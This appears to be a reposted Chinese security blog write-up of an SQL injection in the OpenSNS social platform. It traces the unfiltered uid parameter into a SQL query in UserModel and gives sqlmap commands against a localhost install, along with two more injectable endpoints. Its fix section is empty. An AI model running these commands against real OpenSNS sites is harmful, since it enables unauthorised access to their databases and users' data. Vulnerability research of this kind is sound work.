OpenSNS SQL注入(一)
2019-07-18 07:02:00 Author: xz.aliyun.com(查看原文) 阅读量:117 收藏

0x01 前言

OpenSNS是基于OneThink的轻量级社交化用户中心框架,系统秉持简约的设计风格,注重交流,为用户提供了一套轻量级的社交方案。OpenSNS前身是“ThinkOX”,2015年1月28号正式更名为OpenSNS
OpenSNS采用PHP+MYSQL构建的一款有“身份”的开源免费SNS社交系统,适用于多种社会关系。
OpenSNS采用thinkphp框架编写。系统的设计遵循高内聚低耦合,允许管理员自由开启关闭功能模块。不仅如此,OpenSNS还内置了一个功能扩展商店,可以一键在线安装新的功能扩展。
OpenSNS目前有大量的国内开发者,云市场也上架了大量的第三方功能模块和主题应用,使OpenSNS可以同时满足各行各业的社交需求。

0x02 代码分析

跟踪到./Application/Ucenter/Controller/ConfigController.class.php中的_initialize方法

15 Line: 三元运算符判断是否设置了$_GET[‘uid’],若设置了则将其过滤一遍赋给$uid,若没有设置则获取session中得uid
17 Line: 调用当前类中得userInfo方法并将$uid传入

跟踪到./Application/Ucenter/Controller/ConfigController.class.php中的userInfo方法

1117 Line: 调用query_user并将数组及外部传入的$uid传入进去

跟踪到./Application/Common/Common/query_user.php中的query_user函数

17 Line: 判断$uid是否等于null,若等于则传入当前已经登陆用户的id否则使用传入的id并赋给$uid
18 Line: 调用模型Common/User中的query_user方法并将$fields、$uid传入

跟踪到./Application/Common/Model/UserModel.class.php中的query_user方法


118 Line: 将$user_data, $fields, $uid传入到当前类中的getNeedQueryData方法并将返回的数组分别赋值给$user_data, $fields

跟踪到./Application/Common/Model/UserModel.class.php中的getNeedQueryData方法

67 Line: 使用array_intersect函数返回$this->table_fields, $fields两个数组的交集并赋给$need_query中
69 Line: 判断$need_query不为空
70 Line: 获取数据表前缀并赋给$db_prefix
71 Line: 将外部传入外部传入的参数拼接到SQL语句中,在传入过程中并未有任何过滤

0x03 调试

漏洞出现在getNeedQueryData方法中的71行,调试开始咯!

0x04 漏洞复现

1、账号注册

2、登陆

3、祭出神器SQLMAP

sqlmap.py -u "http://localhost/index.php?s=/ucenter/Config/&uid=1*" --cookie " PHPSESSID=hvvkoc2sef0l1kemdrvnknd2s7; UM_distinctid=16bda55e991192-05e2b3083ccb28-1368624a-144000-16bda55e992c7; CNZZDATA1254932726=287816123-1562732483-%7C1562738136" --batch --technique=T --dbms "mysql"

sqlmap.py -u "http://localhost/index.php?s=/ucenter/Config/&uid=1*" --cookie " PHPSESSID=hvvkoc2sef0l1kemdrvnknd2s7; UM_distinctid=16bda55e991192-05e2b3083ccb28-1368624a-144000-16bda55e992c7; CNZZDATA1254932726=287816123-1562732483-%7C1562738136" --batch --technique=T --dbms "mysql" --is-dba

sqlmap.py -u "http://localhost/index.php?s=/ucenter/Config/&uid=1*" --cookie " PHPSESSID=hvvkoc2sef0l1kemdrvnknd2s7; UM_distinctid=16bda55e991192-05e2b3083ccb28-1368624a-144000-16bda55e992c7; CNZZDATA1254932726=287816123-1562732483-%7C1562738136" --batch --technique=T --dbms "mysql" --current-db

0x05 漏洞修复

0x06 同类注入点

http://localhost/index.php?s=/ucenter/index/index&uid=10
http://localhost/index.php?s=/ucenter/index/information&uid=10


文章来源: http://xz.aliyun.com/t/5667
如有侵权请联系:admin#unsafe.sh